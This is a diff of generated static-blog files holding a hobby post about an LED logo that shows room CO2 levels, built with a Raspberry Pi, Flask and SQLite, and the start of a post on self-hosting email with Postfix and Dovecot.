    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttps://blog.alipour.eu/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/raspberrypi/page/1/index.html b/public-clearnet/tags/raspberrypi/page/1/index.html new file mode 100644 index 0000000..df1700d --- /dev/null +++ b/public-clearnet/tags/raspberrypi/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/raspberrypi/ + \ No newline at end of file diff --git a/public-clearnet/tags/roundcube/index.html b/public-clearnet/tags/roundcube/index.html new file mode 100644 index 0000000..0f6e913 --- /dev/null +++ b/public-clearnet/tags/roundcube/index.html @@ -0,0 +1,13 @@ +Roundcube | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/roundcube/index.xml b/public-clearnet/tags/roundcube/index.xml new file mode 100644 index 0000000..27ba4b0 --- /dev/null +++ b/public-clearnet/tags/roundcube/index.xml @@ -0,0 +1,135 @@ +Roundcube on AlipourIm journeyshttps://blog.alipour.eu/tags/roundcube/Recent content in Roundcube on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

